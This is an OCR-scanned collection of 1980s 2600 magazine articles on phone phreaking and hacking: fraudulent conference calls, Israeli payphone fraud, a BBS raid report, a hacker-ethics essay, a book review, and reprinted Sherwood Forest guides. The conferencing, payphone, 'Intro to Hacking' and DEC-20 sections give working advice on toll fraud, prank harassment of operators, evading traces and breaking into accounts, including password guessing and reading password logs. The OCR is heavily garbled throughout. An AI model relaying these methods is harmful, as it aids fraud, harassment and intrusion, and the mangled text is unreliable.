be done by dialing & plus the nusber of the person on the conference you
wish to pass control. Then by hitting a ¥ you rejoin the conference, or by
just hanging up you leave. Mhen in the conference dialing a ¥ will returr
you to confrol sode.

to pass control, as men-

Getting a direct drop on an

Wien conferees hang up, a “dee-doot” will be heard. The controller also
hears the phone nusber of person who left. Hitting the ¥ imsediately calls
the departed back. There is no way to drop pecple from conference other
then getting @ conference operator to do it or by blowing 2600 hertz down
the line. Howewer, this will drop each and every person on a trunk using
in-band signaling. Hitting a 0 in control sode sussons a conference

erator, however, shefhe takes control before he/she answers, so only do
this when you know what you are doing. Hitting a 9 in control sode requests
a "silent attendant listener line.”  According to the Deson this option
allows the controller to hear the tones and phone nusbers of people hanging
up while be is in control mode. Conference op's clais this function is for
secretaries and such to listen to, but not participate in, conferences for
note taking purposes. :

If these instructions sound confusing, don’t worry. Resesber, the entire
conference is accompanied by extresely user friendly messages. Recently, on
weekends or late night, sany telcoa hobbyists have had_Trmlm with
transferring control, instead getting a recording “Mot available at this
tise". Also, similarly, international dialing is sosetises unavailable.
Generally -300¢ does this less often, then -200X next.

me sust always be prepared for listeners whenever one conferences. If
one is discussing “questionable” matters on a conference, last nases and
phine nusbers should MEVER be given out. One of your fellow telcom hobly-
ists might be an FBI agent, or speetises a conference operator listens in on
conferences which sound “suspicious.”  They do not do this usually, &
Alliance most often carries business calls (you have to resesber this
folks!], and thus doesn’t expect fraudulent calls. Sure ways to interest an
op i5 to have either all the conferees but one or oaly just the controller
hang wp.  When a controller hangs up the conference op takes control and
attegpts to let the the formes coulroller “regain his conference” by caihnllq
him at hose. Also, controllers who spend long asounts of tise in contro
sode, resulting in everyone else hanging up, arouses the attention of the
op. The number which originally started the conference can hang up though,
after passing control, but the conference will still be billed to it.

Dangers of fraudulently started conferences seem to be slight. The only
person 1 knew who got caught was forced to pay for a phone call from Dallas
(where the conference was started) to his hose in California. This is not
to say it is safe, but it definitely is safer U‘Iﬂ'l_llﬁu'? 950°s fraudulently.
Even phreaks who set up several conferences a night for msonths, including
the harasssent of DA operators, haven't been causht.  However, we don't
sugoest you attespt a fraudulent conference. Even permitting yourself to be
added to a fraudulent conference is enoush for prosecution, according to
ATST, One thing that prevents a lot of this investigation is that sost
fraudulent conferences are set up with PBX's, and thus the prosecution lies
with the owners of the PBX, and ATAT isn't even involved. For this reason,
FBX's often are traced. _ .

‘Mother risk is that all nusbers dialed are recorded by Alliance, even
sisdials. The nusbers dialed are all printed out and sent to a vault at the
Chicago Bell Test Labs for storage for their records.  In addition, con-
ferences are ram‘l:il'{ taped and sonitored for fraud. It would seea safer to
use Alliance to call an extender, and then dial out from there, as although
Alliance records all nusbers dialed, logically they probably only pay atten-
tion to nusbers they intend to act om, i.e. add to the conference. The
subsequent use of a extender is a matter of investigation by another coa-
pany, and don't forget ATET and the extender cospanies are cospetitors, and
thus they wouldn't always 9o out nfsyﬁ; ways to cooperate.

Often when @ conference starts to slow down, people start suggesting
various stunts to liven things up. (ne word of warning, sost o
techniques would be construed as harasseent, and thus are illegal. (ne of
the most comson used is adding a sultitude of Directory Assistance
operators. Listening to thea ask each other “What city please?” and then
arguing about who belongs on the line s extresely husorous. — Confusion
reigns when you attespt to get thea to look up a nusber. Sose DA's have had
thic done so many times that they realize that this is a conference and will
either hang up imsediately or will threaten you with taking over your con-
ference. Resesber, only the conference operator can fake over a conference
so most of these threats are ineffectual.  When any of thea give a hard
tise, just ask to speak to their supervisor, as this usually adds even more
confusion.  Sisilar things can be done with with business offices, repair
service (“sir, I'm getting all this cross talk on sy line™ “no, it's my
line.” ad infinitus) teler ops, and other phone cospany personnel.  Also.
cosputer companies or other corporate bureaucracies have similar chaps
patential. One interesting thing to try is to pose as a phone company
eaployee for social engineering purposes. However, most phreaks fail to
realize that °TSPS maintenance” or “Bell Security” gets a little too
repetitious and suspicion arousing due to their over-heavy use.

Generally, for courtesy’s sake, one should call people who generally
expect to oot weird calls at odd hours, and are often bored at thelr ﬁg
Radio station BI's often enjoy this, as do hotel operators and bell boys.
Going international often increases the fascination with conferences,
several hotel ops around the world expect and look forward to conferences
calling thea during the dull early sorning hours, and the conferences soee-
tises place calls for thea in appreciation. Hilitary bases are another
site, as_ are unattended payphones, Sosetises people at randoa are called
up. It often is impossible to convince people that they ARE getting a con-
ference call, as they twist up sose impossible theory to explain 15 chaotic
people speakin at  once. Even  President  Reagan and
other “celebrities” iaﬁ- been atteapted to be reached by conferences. Often
telling their secretaries that this is a conference call can arouse their
curiosity enouch to cose on line. A comson statesent 1S You computer
hackers are so ssart to have flﬂuﬁ this out.” Little do they know how
simle it is, and it also shows people and the sass sedia constantly
misidentify anything mildly out of the ordinary as the fault of cosputer's
influence mtﬁzple. {Sorry about the side digression)

Rescaber that when adding recordings or extenders fo a conference that
they generally will not hang up. Similarly, people added can’t be forcibly
disconnected without the conference operator's help, and can stay on as lm?
as they want, monitoring or taking notes, l:!:rg way to rid 2 conference o
these is to blast 2600 down the line, with the results predicted above,
When adding “dangerous” people such as FBI agents or inforsants the use of
three way “ﬁl"““ﬂ“ one ?r mﬁf"ﬁ”*’?ﬁ is generally more intelligent, as
it pernits the caller to forcibly drop them.

Many of these stunts sentioned are plain childish, rude, and unthoughtful
to others. Many of these definitely would count as harasssent. Frequent
resortation to these often arouses the suspicious curiesity of Alliance ops.
Continual use of these say end up in a general tightening up of security in
slliance, not due to fraudulent calls, but from cosplaints. Obviously,
these utterly senseless acts should be conducted in extrese moderation.

OTHER CONFERENCES ,

The old sethod of conferencing by calling the operator and asking for a
conference still works, This however is controlled physically by the
operator, as it uses a cordboard. Three way calling of course 15 another
conferencing option, Multi-line loops are rare, bub do exist. Sosetises
businesses connect several phone lines together to form a conference.  (ne
of the sost famous was the UCLA one at 213-206-2810 to -2817 as last know.
ne up as of the writing of this article is at 602-976-0770 to 0777,
tnother conferencing systea is City Conference in Oakland and San Francisco.
Similar to this is a systea called Phone-aFriend in sose areas at 550-3000.

Every once in a while conferences are set in the old historical
phreaking sold on PRX switchboards or on I:Elegi[::m_ switching equipsent by
renegade linesen and the like. One of the most historic of these was the
“2111" conference” which was arranged throush an unused telex test-board
tronk in a 4A switching machine in Vancouver, Canada. For several months
phone phreaks could W via a blue box 604 (Vancouver's area code) then 2111
(code for telex testing board) to reach phredks and other telcoa hobbyists
arond the world. Sometises conferences set up by this sethod are acces-
sible via norsal phone lines.  These conferences, by their very nature of
actual adjustsent of switching equipsent, are rare. ,

Several companies offer alternate bridging services, otherwise known as
conferences.  These all clais they have higher quality than Alliance. They
control the conference themselves "so you can just get down to business
without worrying about details.” You can ask thea to leave, but then there
is no one in control of the conference, Generally they uh_‘er saaller con-
ferences then Alliance’s 59 (Market Mavigation’s limt is 19) They all
tharge considerably sore than ATET (Market Navigation Inc. quoted a rate as
$195 per hour for a 12 person conference plus the cost of the dialed phone
calls) You generally have to set up conferences ahead of tise. They all
will send a bill to your cospany, and sose will allow the use of a credit
card instead. Genmerally you have to book ahead of tise. Examples of these
independent firms are Darose Connection (203-797-1300), Market Kavigatlon
Inc. (914-365-0123) and Telesession. The nusbers are for setting wp con
ferences, although you can mlatﬁuﬁw thea as well.

LSTON

Basically, conferencing, even fraudulently, is one of the safest ways to
get in contact with other telcom hobbyists, by its track record of busts.
They are very few and far between, Several times Alliance operators have
dropped in on conferences and carried on conversations with the
participants. Much of the inforsation in this article was picked up froa
these sources. Often one hears the comson coasent of many telcoa corpora-
tions that “they are using us as a tax writeoff,” however, how long can
they keep taking losses in this post-divestiture age of of telco cospeti-
tion. Expect in the near future to see other telcow cospanies such as IIT,
M1, and GTE Serint get into the act, as conferences are really pretty cheap
to set up and aren’t that technically exotic. Telcom hobbylsts can get
together to pick each others brains for info, and starters can learn the
ropes in the presence of several more eiﬁeﬂm:l&d phreaks.  Also, just
noreal socializing with pecele all over the country is fun, especially
you realize you probably would have never et thes otherwise. In order to
join in & conference try calling soeeone on it who has call waiting or two
phone lines, as he can relay to the controller that you want to be added.
Conferencing is all in all an excellent way to comsunicate with the telcoa
comunity at large, when used in moderation. Use, don't abuse.

Information provided by Alliance Teleconferencing, the [Deson, Elric
Bloodare, Forest F‘aﬁr, John Doe, Eeysaster, Market Mavigation Inc., the
Se;pa]! shooting Shark, Telcom.ARFA, Joe Turmer and the mesbers of the
official B85 of 2500 magazine: the Private Sector,



a guide to the israeli phone system

The lsraeli phone system, like their AC still the same rate. So even phone calls
current (220 wvolts) and their television between remote corners of the country don’t
standard (PAL) is a European system. FEuro- add up that quickly. And on a one token
pean telephones differ from the American local call, you can talk all vou want. So
standard in several interesting ways. First in general, there's not that much of a need
of all, dialing is by shorting out the phone to steal calls from pay phones, since the
line rather than opening it up. One of the token supply is plentiful and low-priced.

drawbacks of this method is that an exten- Of course, these perhaps artificially low
sion phone on a line being dialed will have rates don’t apply to international calls.
its he?]‘. capacitors continually discharged The Israeli solution is rather simple: you
and recharged during the dialing, making a <can only make collect international calls
little "ping" for each dialing pulse. Good from a pay phone. Not only that, you have

if you want to know about aclivily on the to spend a couple of tokens in the process.
line, bad if you don’t want someone else’s You're forced to call a Tel Aviv number
dialing to bother vou. Another difference where an operator will take your number and

is the "off hook" voltage -- a mere 3.5 (hopefully) call you back. During peak
volts, compared to the heftier 7-9 volts in periods, it becomes almost impossible to
an American system. reach this operator. Even if wou gel

Their pay telephones are organized on a through the busy signal, the¥ don't alwavs
token system. You throw in one token for a answer immediately (and the calling exchange
loral call, and for longer distances the pay automatically disceonnects the call after a
phone eats the tokens at a certain rate per minute and a half if no billing signal is
minute. There’s a little chute in the phone received, so you can’'t ring their phone for
which will stack wup four or five of the any decent length of time. This also takes
tokens so that you don’t have to pour them most of the fun out of calling a black box
in all the time. ASEMONIM gwhlch is Just in another country, since you invariably get
the Hebrew word for "tokens") can be bought cut off within twoe minutes. Black gﬂ

Hes
at any post office. The going rate is don’t seem to work leocally, as the exchange
around a nickel each. doesn’t switch the audio in until somecne 1s

This system has wvarious advantages and payin% for the call — this often results in
drawbacks. The pay telephone doesn’t have the first "Hello?" getting cut off). You

to be very complicated. All it does is can usually dial international calls direct
disable the dial until you've drﬂpﬁed at from a home phone, but if you need an inter-
W

least one token in, and cut you off when the national operator then the service is almostl
tokens run out. Whether or not the tokens as bad.

drop into its coin box (unused tokens can be Just getting a home phone in the firsl
retrieved when the call 1is over) is deter- place can be a long hassle. When you first
mined by the exchange. Signals are sent et your own phone, you must pay around $350
over one of the three wires of the pay %ﬁr an initiation fee. But a%ter that, no

phone's line whenever the exchange decides matter how many times you move or need the
that it wants another token. Just discen- phone reinstalled, there aren't any more

necting the proper wire (which can happen by connection charges. Bul if you live in a
itself at times when the phone breaks down) pewly built area where the phone lines
will let the phone run forever on one token. haven’t been laid yet, vou can wait several
Worse yet, if you can access the two other years (!) to have your service installed.
wires of the pa{phune s line, you can_ clip ven if you move inte an apartment that
on your own telephone and dial away with no already has a line installed the wait can be
restrictions. Various other schemes exist as long as several months. This situation
that mechanically jam Lhe tokens in one way is supposed to be improving, thﬂufh: espe-
or another so that they just don't drop down cially with the installation of electronic
intoe the coin box and the call is never cut switching exchanges that have large
off. Not only that, but if you're good with capacities. In areas with overburdenad
the hookswitch, you can dial the number exchanges, party lines are also very common,
yvourself without dropping tokens in at all! and are often the only service available.
The anphane dial won’t dial until you chuck Party lines there are nowhere near as much
a token in, but hand-pulsing the hookswitch, f. . tere — when one party picks up the phone, the other is locked
though a tedious process, can get Yyou .. “od cannot interfere or use the line.

connected., It only makes sense for local Getting your phone service fived can also be a trying task.

Al b, S o Y e e onohange  Flakines is about the best word that descrides their telco's repair

s m o and it mekes a lot tranch. After one or two cosplaints, if you're lucky, the probles
s e ks Coaapicious, and with  the WO et fired, and not recur the next dyy. It is Just about
clumsy hookswitches provided, is not very useless tc coaplain aboul repalr probiems to a supervisor, since the
accurate. supervisor's phones are always tusy or never answered.  Social
With making free calls (or almost free, engineering (such as pretending to be a reporter or other person mth
for one token) so easy, one wonders how Eimlledﬁ shout the only relisble way of getting your complaints
i ny mon at all. The resolved ; :
éﬂgi;natfiﬁﬂlfggesig ythei?y ;gte structure,  The thune systea is also the source of one of the many national
which is rather reasonable. Therc are only parancias. “[can't talk about that over the phone” is heard
three mileage rates: local, which is one Intredibly often.  Perhaps it's because Israel is a saall country
message unit (or one telephone token from a with many noticeable security precautions (for example, you sust open
pay phone), intermediate (say, from the your bag in front of a security quard whenever walking into am_iar?e
center of town to the remote suburbs of thal establisheent so they can check you for amsunition or explosives).
town). and long distance (from one city to Sose people alaost routinely assume that their conversations are
another). That’s it. So to call from one sonitored, just Like a lot of phone phreaks over here always think.
cit¥‘tn another, whether they are separated
by fifty kilometers or a few hundred, is



Sherwood Forest Shut Down by Secret Service
An All Too Familiar Story

Yes, il’s happened yet again., This time,
two of the most prestigious computer hacker
bulletin boards around, Sherwood Forest 11
and III, were raided by the government. The
by now familiar scene of law enforcement
types shutting down a bulletin board system
hecause somebody didn’t like what tgg *d
been saying is no longer even newsworthy,
Judging from the complete lack of media
coverage.  That 1is pirobably the
worrisome ingredient here.

On this occasion, it wasn’'t the FBI that
carried oul the raids, but the Secret
Service. Why? According to William Corbett
in Lthe Washington public affairs office, the
Secret Service became authorized to conduct
these investigations after October 1984
under United States Codes 1030 (fraud by
wire) and 1092 (credit card fraud). Because
it's still an "active investigation",
Corbett declined to give out any details on

most

the case.

Bioc Agent 003, a
Forest II, claims that warnings were
all over the board concerning the posting of
credit card numbers. "The management didn’t
have enough time to constantly look after
the system,” he said,. He attributes the
raids to "schmucks that posted numbers
anyway". He also believes that posted
information on c¢redit firms {(CBI and TRW)
led to the seizures.

As an example of the kind of material
Sherwood Forest had available, we  are
reprinting one of their arlicles below. We
feel this one is particularly timely and
ironic. In addilion, we are running one of
their manv hacker guides. We will run others in
the future. If you'd like to send us a copy of a Sherwood
Forest article that we may not have, please do. We must

not allow them to be silenced forever.

co-sysop on Sherwood
posted



SOME WORDS ON HACKER MORALITY

A lesson in phreaking and hacking|computers or newspaper computers.
morality: credit information services claims hackers

I find it truly discouraging when Luple used three stolen accounts to aid them in
intelligent people seeking intellectual abusing stolen credit cards. The thrill of
challenges, must revert to becoming common|entering and looking arcund has shifled to
criminals. The fine arts of hacking and|criminal practicality--how can 1 make my
boxing have all but died out. Though vyou|bank account fatter——how ma{ use this
newcomers, you who have appeared on the|stolen credit card to its fullest--how could
scene in  the last year or tweo, may not|I take revenge upon my enemies.
realize it, we had it much better. People| And then there is the world of Phone
didn’t recognize our potential for destruc—|Phreaking. The number of phreaks has grown
tion and damage because we never flaunted|from an elite few, perhaps ten or twenty, to
it, nor did we exercise it. well over a thousand. Still, there remain

For hacking, it was the intel lectual|only about 10 or 20 good, longlasting
challenge which dreve us to do it. The|phreaks. The rest receive information and
thrill of bypassing or breaking through|labuse its uses until the information is no
ﬁﬂm?ﬂﬂe s computer security was tremendous.|longer valid. Even worse, they seek
It wasn't a case of getting a password from|publicity! They WANT to be caught! Many
a friend, logging on, and destroying an|even use their real names on bulletin board
entire database. ~ We broke in for the|systems to promote publicity. Meanwhile,
challenge of getting in and snooping around|the REAL phone phreaks have been resting in
WITHOUT detection. We loved the potential|lthe shadow of the rest, waiting for
for destruction that we gave ourselves, but ghreaking toe become so dangerous as to

never used. o ecome a challenge unce again. Once
Today, after so much ?HbIJCJLE, the fun|security tightens a onl the strong

has turned to true criminality. Publicity|survive (phreak Darw1n15m?} ﬁrFaklng wil

we have received 1is abhorring. From|be restored as a way to "beat the system’

HarGame§ to the headlined October Halds, tﬂ without costing anvone anything.

Lhe 414°s, the Inner Circle, Fargo Hacking may soon be dead, but may phone
the NASA breakins—-not to mention ail the phreaking live on!
locul incidents that never made the bi Big Brother [Courtesy of Sherwood Forest
newspapers, like break-ins at  schooll [ — (914) 359-1517]




Out of the Inner Circle— A REVIEW

Out  of the Inner Circ e, A hacker's guide

to computer security, by "The Cracker" Bill

Landreth, The teenage  computer  wizard

ﬁgfrehended by the FBI. £9.95, Microsoft
TER .

OQut of the Toner Circle is one of the man
books  written by — Tormer criminals, bu¥
ﬁrnhably the first written b a former
1acker or should it be reformed hacker. It
is written for middle level managers and for
those who want to hear Bill Landreth
dvsﬂr}bu how a hacker thinks. It only
describes so ecalled hacker computer crime as
opposed to hard core white oollar crime,
where people scheme to steal secrets or
large sums  of money. Landreth tries to

avold being too technical for the benefit of
his readers, those who are making many of
the decisions that affect security, and so
he can present his guide to computer
security without having to detail all
possible procedures for the many different
systems that exist today.

In it he describes {he beginning of The
Inner Circle, which was a group of hackers
who were dedicated to  peaceful and
non-destructive  hacking and were subse-
gu&ntly decimated with other groups, like

HALSE, b{ the Telenet busts of 1585. He
surveys the history of hacking and the evol
ution of the home computer in order to
present his profile of a hacker and the
motivating forces behind the hacker. Thi:
is an 1mportant element of the book where
Landreth  describes the psgchalugy and
Lhought processes of technology's foe, the
hacker. He tries to classify them, so he
can refer to them later: the novice; the
student, which Landreth considers himself to
be; the tourist; the crasher; and the thief.
He describes various methods of hacking in
"How a Hacker Hacks" such as guessing
defaults, using help files and demos. He
then goes on to discuss different general
types of computers and peripherals as well
as  operating systems, what  account
privileges are, what security is, the role
of the sysop, and various hacker scenarios.
The book is full of dramatic digressions
into the activity of a hard core hacker, who
may spend as much as a year to break into a
system, may return to enter a system with
100 or more "friends", or ma{ even pretend
to poll employees outside the target company
as they go to work in order to find out user
names and any personal information that
might be used as passwords.

Out of the Inner Circle is written for
these management types, who will read and
read, get nervous, and then lean on the
system operators to beef up security. Lan-
dreth also refers to sysops who_do not mind
chatting with hackers, as well as system
designers who may build trap doors into the
system that thE{ set up for you. Then one
day they may cal up vour computer, enter

your system through the trap deor that they
installed and do whatever they wish. Now,
these management types may start keeping an
eye on thalr computer experts as well as
company security. Out of the Inner Circle
is also full of vignetites which may sound
commonplace to the average hacker, but that
should scare the businesspeople of America —
descriptions of the activities of crashers
ho trv to erase files or halt systems and
f hackers reading personal documents and
tering corporate computers.

Landreth often makes mention of a system
v its value. "Someone is trying to break
into your million dollar computer...” he

ight say. This is the languuﬁn that
orporate America speaks. Landreth is not
ery worried that someone may be 1ﬂnkin§ at
our credit information, and even ess
orried that there exist companies that own

d sell it. ]

But, basically, Landreth fulfills the
urpose of the book in two chapters: "Make
he Most of What You'’ve Got"™, and "Telltale
igns". Together they would make a good

1de of simple suggestions that could prove
invaluable to sysops, system designers, and
ﬂmguter security consultants. In the
atter chapter, Landreth discusses how one
ould reduce accessibility to spare or
nattended terminals, how to reduce the
iability  of dial-ups, change logon
rocedures assign complex passwords, and
everal other inexpensive procedures that
an beef wup security and keep out most
ackers. In the former, he lists some tell-
ale signs for one to suspect that an
ntruder has been on the system, such as
xcessive use of help files, movement of
ther files, activity in normally dormant
ccounts, etc. It 1s these two chapters
lone that make the book useful. They
ontain all that information that hackers
now and about which they sometimes remark:
'If I was running that system, this is what

would do..." These chapters tell of the
asic steps to follow to greatly reduce
omputer intrusion b hackers. If these

uggestions are followed, the total amount
f illegal entry may <decrease by a
ubstantial percentage. Leaving only the
ery clever and persistent hackers to
xamine corporate America from the inside.
his in turn would finally give some credi-
ility to the myth of the computer wiz-kid.
Then again, this book can be taken in
another ways: Only a few weeks ago,
according to Z600 reporter Hunter Alexander,
P. Michael Nugent o the Electronic Data
Systems Corporation fumed about Out of the
Inner Circle before the crime subcommittee
of the House calling it a_ "how to do it
[computer crime]. How do I handle that?" he
asked Rep. William Hughes (D. N.J.). Mr.
Nugent ought to read the bock before the
hackers do, if he is so worried.




FROM SHERWOOD FOREST =

This article, “The Introdiction to the Horld of Hacking® is meant
to help you by telling you how not to get caught, what not to do on a
coaputer systes, what type of equipsent should I know about now, and
just a little on the history, pasttgresent future, of the hacker.

E §

Holoome to the Morld of Hacking! Me, the people who live outside
of the norsal rules, and have been scorned and even arrested by those
troa the “civilized world', are becoming scarcer every day. This Is
due to the greater fear of what a good hacker (skill wise, no moral
judgements here) can do nowadays, thus causing antl-hacker sentisent
in the sasses.  Also, few hackers seea to actually know about the
computer systeas they hack, or what equipsent they will run into on
the front end, or what they could do wrong on a systes to alert
'higher’ authorities who sonitor the systea. )

Tais article 1s intended to tell you about sose things not to do,
even before you get on the system.  We will tell you about the new
wave of front end security devices that are bteginning to be used on
cosputers. e Will attespt to instill in you @ second identity, to
be brousht up at tise of areat need, to pull you out of trouble.
And, by the way, we take no, repeat, no, remmmh!lltﬁ for what we
say 1n this and the forthcoming articles. Enough of the bullshit, on
to the fun: i

after logging on your favorifte bos, you see on the high access
toard & phone number! It says it's a great systea to "fuck around
with!® This mav be true, bt how other people are going to call
the same nusber? S5o0: try to avoid calling a nusber given to the
putlic. This is because there are at least every other user calling,
and how many other boards will that nusber spread to?

foyew call a nusber far, far away, and you plan on going thru an
ertender or a re—seller, don't keep calling the sese access number
(1.2, a5 you would if you had @ hacker running), this looks very
cyspicious and can sake life miserable when the phone bill coses in
the sail. Most cities have a variety of access nusbers and services,
SO USP 35 many as you can.  Mever trust a change in the systea...
The 414's, the assholes, were causht for this reason: when one of
thea connected to the systes, there was nothing good there. The mext
tise, there was a trek gase stuck right in their way! They proceeded
to play sald game for two, say two and a half hours, while TELEMET
Was tracing thea! Mice job, don't you think? If anything looks
suspicious, drop the line imsediately!! As in, YESTERDAY!!  The
point we're trying to get across is: if you use & little cosson
sense, you won't get busted.  Let the little kids who aren't smart
enough to FEE!ILI'IHE' a trap oot busted, it will take the heat off of
the real hackers. Now, Iel's say you gelt on a cosputer systes.. 1t
looks gqreat, checks out, everything seess fine. Ok, now 15 when it
:,-315 gore dangerous. You have Qo know the computer system (see
future issues of this article for info on specific systess) to know
what not to do,  Basically, keep away from any coamand which looks
like it mioht delete something, copy a new file into the account, or
whatever!  Always leave the account in the same status you logged in
uith, Change SHOTHINGY. ..if it isn't an account with priv's, then
don't try any comsands that require them! All, ves ALL, systess are
q0ing to be keeping log files of what users are doing, and that will
show up. It is just like dropping & trouble-card in an ESS systea,
after sending that nice operator a pretty tone. Spend no excessive
amounts of tise on the account in one stretch, Iﬂ&'ﬁ your calling to
the very late night if possible, or during business hours (believe it
or WOTY). It so happens that there are sore users on during business
hours, and 1t is very difficult to read @ log file with &0 users

doing many cossands every mingte.  Try to avold systess where
e\.rerr:.m knows each other, don't try to bluff. And above all: MEVER
act like you oun the Sﬁj“' or are the best there is. They always
grab the people whose heads swell... _

There is sose very interesting front end equipsent around nowadays,
but first let's define terss...

By front end, we mean any device that you must pass thru to get al
the real cosputer. There are devices that are made to defeat hacker
programs, and just plain old sultiplexers. To defeat hacker
prograss, there are now devices that pick up the phone and just sit
there... This means that your device 3&[&5 no carrier, thus you think
there isn't a computer on the other end. The u:w]ir;av around it is
to detect when it was picked wp. If it picks up after the sase
nusber ring, then you know It is a hacker-defeater. These devices
take & sulti-diait code to let you into the systes.  Sose are, In
Fact, quite sophisticated to the point where it will also limit the
user nape's down, so only one nape or set of names can be valid
logins after they input the code... Other devices input a nusber
code, and then they dial back a pre-programsed nusber for that code,
These systeas are best to leave elone, because they know somecne 1S
plaijng with their phone. ou Iahr_ti‘tlni But 1’11 just reprogram the
dial-back.” Think again, how stupid that is... Then they have your
nusber, or a test loop if you were just & little smarter, If it's
your nusber, they have your balls (if sale...), if its a loop, then
you are screwed again, since those loops are #sonitored®.

As for multiplexers... What a plexer is to do is this:
the system can accept sultiple users. We have to tise share, so
we'll L.‘i the front-end processor do it...  Rell, this is wat a
mltiplerer does. Usually they will ask for something like “enter
¢class™ or “line:”.  Usually it is prograssed for a double Jinit
nusber, or a four o five letter word. There are usually a few cets
of nusbers it accepts, but those nusbers also set your 300/1200 baud
data type.  These sultiplevers are inconventent at best, so not to

BTy, o

A Eittle ahout the history of hacking: hacking, by our definition,
means a great knowledee of soee special area.  Doctors and lawyers
are hackers of a sort, by this definition. But most often, it is
being used in the cosputer context, and thus we have a definition of
“anyone who has a great amount of cosputer or telecoasunications
knowledge.” You are mot a hacker because you have a list of codes...
Hacking, by our definition, has then been around only about 15 years.
It started, where else but, MIT and colleges shere they had cosputer
science or electrical engineering departments. Hackers have created
soe of the best cosputer langquages, the most awesoee operating
systens, and even gone on to aake millions. Hacking used to have a
good nage, when we could honestly say “we know what we are doing’.
Now it eeans (in the public eye): the 414's, Ron Austin, the HASA
hackers, the Arpanet hackers... ALl the people who have been caught,
have dome damage, and are now going to have to face Fines and
contences.  Thus we come past the moralistic crap, and to cur
purpose: educate the hacker commmity, return to the days when people
actually knew something... &

A program quide: Three more articles will be written in this
series, at the present time. Basics of Hacking I: DEC's Basics of
Hacking I1; VAX's (UNIX) Basics of HMacking IIT: Data General. It Is
impossible to write an article on IBM, since there are so many
systeas and we only have infoon a few... This article has been
written by: The ¥nights of Shadow

INTRO TO HACK ING



INTERESTING THINGS TO DO ON A DEC-200

by The Knights of Shadow

( as seen on the late Sherwood Forest ][ )

The first thing you want to do when you
are qec&1v1n§ carrier from a DEC system is
to find out the format of login names. You
can do this by looking at who is on the
system. DEC> @ (the ’exec’ level grqmpt}
YOU» S8Y} Y is short for SYSTAT and shows
you the system status. You should be able
to see the format of login names. A SYSTAT
usually comes up in this form: Job, Line,
Program, User. The JOB number is not
important unless you want to log them off
later. Line is a number that is used to
communicate with the user.  These are both
two or three digit numbers. FProgram tells
what program they are running under. If it

says ’'EXEC’ they aren’'t doing anything at
all. User is the username they are logged
in under. You can copy the format, and
hack wourself out a working code. Login

format is as such: {DEC> @ YOU> login user-
name password} . Username iz the username
in the format you saw above in the SYSTAT.
After vou it the space after vyour
username, the system will stop echoing
characters back to your screen. This is
the Eaﬁswnrd you are typing in. Remember,
pecple often use their name, their dog’s
name, the name of a favorite character in a
book, or something like this. A few clever
penpie have it set to a key cluster iqwert
or asdfg). PW's can be from to
characters long, anything after that is

ignored.
It would be

Let’s assume :
nice to have a wouldn’t 1it?

in.

ou got
hel

ittle

Just type a 7 or the word HELP, and wvou’ll
get a whole list of topics. Some handy
characters for vou to know would be the

control keys. Backspace on a DEC-20 is rub
which i1s 255 on yvour ASCII chart. On the
DEC-10 it is Cntrl-H. To abort a long
listing or a program, Cntrl-C works fine.

Use Cntrl-0 to stop long output to the
terminal. This 1s handy when playing a
game, but you don’t want to Cntrl out.

thrirT gives you the time. Cntrl-U will
kill the whole line you are typing at the
moment. You may accidentally run a program
where the only way out 1is a Cntrl-X, so

keep that in reserve. Cntrl-8 to sto
listing, Cntrl—Q to continue on bot
systems. ] i
Is your terminal having trouble? Like it
auses for no reason, or it doesn’t
ackspace right? This is because both
systems support many terminals, and you
haven't told it what yours is yet. You are
using a VI05 (isn’t that funny? I thought
I had an Apple), so you need to tell it you
are one, {DEC> @ YOU> information
terminal} "Info ter" also works. This

shows you what vour terminal is set up as.
{DEC> assorted garbage, then the & YOU> set

E%ESvtﬂE} This sets your terminal type to
Hﬂé let’s see what 1s in the account

{hereafter abbreviated acct.) that vou have
hacked onto. DIR is short for directory,
it shows you what the user of the code has
saved to the disk. There should be a

format like this: xxxxx.ooo xxxxx is the
file name, from 1 to 20 characters long —
ooo is the file type, one of: EXE, TXT,
DAT, BAS, CMD and a few others that are
system dependant. EXE is a compiled

program that can be run (just by typing its
name at the @). TXT is a text file, which
you can see by typing "type xxxxx.TXT". Do
not try "type xxxxx.EXE".  This may make
yvour terminal do strange things and will

tell you absolutely nothing. DAT is data
they have saved. BAS is a basic program,
you can have it typed out for you. CMD is
a command type file, a little too
complicated to go intoe here. Try "take
xxxxx.CMD".

By the way, there are other users out
there who may have files you can use {ﬁee,
Whg else am I here?). Type "DIR <*.%>" on
a DEC-20 or "DIR [*,*]" on_a DEC-10. ¥ is
a wildcard, and will allow you to access
the files on other accounts if the user has
it set for public access. If it isn't set
for public access, then you won't see it.
To run that program: {DEC> € YOU> username
file name}. Username is the directory you
saw the file listed under, and file name
was what else but the file name?

Remember vou said (at the very start)
"SY" which showed the other users on the
system? Well, vou can talk to them, or at
least send a message to anyone you see
listed in a SYSTAT. You can do this by:
{DEC> the user list (from your systat) YOU>
talk username (DEC-20 send username
(DEC-10)}. Talk allows you and them
immediate transmission of whatever you/they
type to be sent to the other. Send only
a{iaus you one message to be sent, and only
after you hit <return>. With send, they
will send back to vou, with talk you can
just keep going. B the way, you may be
noticing with the talk command that what

you ¢t is still acted upon by the parser
(control program). To avoid the constant
error messages type either: {YOU> ;vour
message YOU» rem your messagep. e
semi—-colon tells the parser that what
follows is just a comment. Rem is short

for ‘'remark®' and ignores you from then on
until you type a ntrl-Z or Cntrl-C, at
which point it puts you back in the exec
mode. To breaﬁ the connection from a talk
command type "break".

If vou agpen to have privs, you can do
all sorts of things. First o all, ou
have to activate those privs. ”Enab{e"
gives you a $ pr t, and allows {ﬂu to do
anything to any other directory that you
can do with your own. To create a new
account, usin gnur privs, just type "build
username"., I he username is old, you can
edit it. If it is new, vou can define it
to be whatever you wish. Privacy means
nothing to a wuser with privs. There are
various levels of privs: Operator, Wheel,

CIA. Wheel is the most powerful, being
that he can log in from anywhere and have
his powers. Operators have their

because thﬂﬁ are at a special terminal
allowing them the privs. CIA is short for
*Confidential Information Access’ which
allows you a low level amount of privs.

Not to worry though, since you can read the

system log file, which also  has the
passwords to all the other accounts. To
de-activate vyour privs, type "disable".

When you have played your greedy heart out,
you can finally leave the system with the
command "logout"”. This logs the job you
are using off the system (there may br

variations of this such as kjob, o
killjob). By the way, you can say fif K:u
have Erivs] "logout username" and that
kills the username’s terminal.

There are many more commands, so try them
cut. Just remember: leave tfle account 1n
the same state as you found it. This way
they may never know that you are playing
leech off their acct.



banking from your terminal—a look at PRONTO

by Orson B
Electronic hankgng servigggfvia personal

computer and modem are springing up as
various banks try to Jjump on the
information EEE bandwagon. This month 2600
takes a look at one of the older and more
varied services available in the New York
City area. :

